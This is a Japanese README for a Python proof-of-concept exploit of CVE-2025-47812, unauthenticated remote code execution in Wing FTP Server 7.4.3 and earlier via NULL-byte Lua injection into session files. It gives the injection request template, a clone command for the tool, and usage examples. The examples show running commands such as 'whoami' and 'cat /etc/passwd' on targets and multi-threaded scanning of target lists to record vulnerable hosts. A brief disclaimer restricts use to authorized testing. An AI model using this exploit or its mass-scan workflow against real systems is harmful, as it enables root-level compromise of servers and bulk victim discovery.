
CVE-2025-47812 の Python PoC、Wing FTP Server <= 7.4.3 におけるセッションファイルへのNULLバイトLuaインジェクションによる認証不要のRCE
____ _______ ___ __ ____ __ ___ ____
/ __ \|__ / | / / | / / __ \/ |/ // _/
/ / / / /_ <| | / /| |/ / / / / /|_/ / / /
/ /_/ /___/ /| |/ / | / /_/ / / / /_/ /
/_____/____/ |___/ |_/ \____/_/ /_/____/
CVE-2025-47812 の概念実証エクスプロイト。Wing FTP Server バージョン 7.4.4 未満における未認証リモートコード実行脆弱性です。
| 項目 | 詳細 |
|---|---|
| CVE | CVE-2025-47812 |
| 影響を受けるバージョン | Wing FTP Server <= 7.4.3 |
| 種類 | 未認証リモートコード実行 |
| 権限 | root (Linux) / SYSTEM (Windows) |
| ベンダー | wftpserver.com |
| 原作者 | Sheikh Mohammad Hasan aka 4m3rr0r |
| 改変者 | d3vn0mi |
Wing FTP Server の c_CheckUser() 関数は、認証時にユーザー名を NULL バイト (%00) で切り詰めますが、完全にサニタイズされていないユーザー名(NULL バイト以降のすべてを含む)が Lua セッションファイルに書き込まれます。/dir.html などの認証済みエンドポイントにアクセスすると、サーバーはそのセッションファイルを実行し、注入された Lua コードが昇格した権限で実行されます。
1. POST /loginok.html
username=anonymous%00]]<LUA_PAYLOAD>&password=
2. Server authenticates "anonymous" (truncated at NULL)
but writes full payload into session file → returns UID cookie
3. GET /dir.html (Cookie: UID=<extracted_uid>)
Server loads session file → executes injected Lua → RCE
git clone https://github.com/d3vn0mi/cve_2025_471812_poc.git
cd cve_2025_471812_poc
pip install requests
python3 exploit.py -u http://TARGET
python3 exploit.py -u http://TARGET -c 'id'
python3 exploit.py -f targets.txt -o vulnerable.txt -t 8
usage: exploit.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME]
[-P PASSWORD] [-v] [-o OUTPUT] [-l LOG_FILE]
[-t THREADS] [--timeout TIMEOUT] [--retries RETRIES]
[--no-verify]
target:
-u, --url URL Single target URL (e.g. http://192.168.134.130)
-f, --file FILE File containing target URLs (one per line, # comments allowed)
exploit options:
-c, --command COMMAND Command to execute on the remote server (enables verbose output)
-U, --username USERNAME Username for the exploit payload (default: anonymous)
-P, --password PASSWORD Password for the exploit payload (default: empty)
output:
-v, --verbose Enable verbose / debug logging
-o, --output OUTPUT Save vulnerable URLs to this file
-l, --log-file LOG_FILE Write detailed log to this file
network:
-t, --threads THREADS Concurrent threads for multi-target scans (default: 1)
--timeout TIMEOUT HTTP request timeout in seconds (default: 15)
--retries RETRIES Number of retries on connection failure (default: 2)
--no-verify Disable SSL certificate verification
# 単一ターゲットのチェック
python3 exploit.py -u http://192.168.1.10
# 'whoami' を実行し、完全な出力を表示
python3 exploit.py -u http://192.168.1.10 -c 'whoami'
# 8スレッドでリストをスキャン、すべてのログをファイルに保存
python3 exploit.py -f targets.txt -t 8 -l scan.log -o vuln.txt
# SSL検証を無効にしてカスタム認証情報を使用
python3 exploit.py -u https://10.0.0.5 -U admin -P secret -c 'cat /etc/passwd' --no-verify
# デバッグ用の詳細モード
python3 exploit.py -u http://192.168.1.10 -v
--log-file によるオプションのファイルログ出力-t を使用した並列ターゲットスキャンで大規模なターゲットリストに対応--retries で設定可能)--no-verify# コメントと自動重複排除に対応-c では完全なコマンド出力を表示このツールは許可されたセキュリティテストおよび教育目的のみで提供されます。自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。著者は、このツールの誤用または損害について一切の責任を負いません。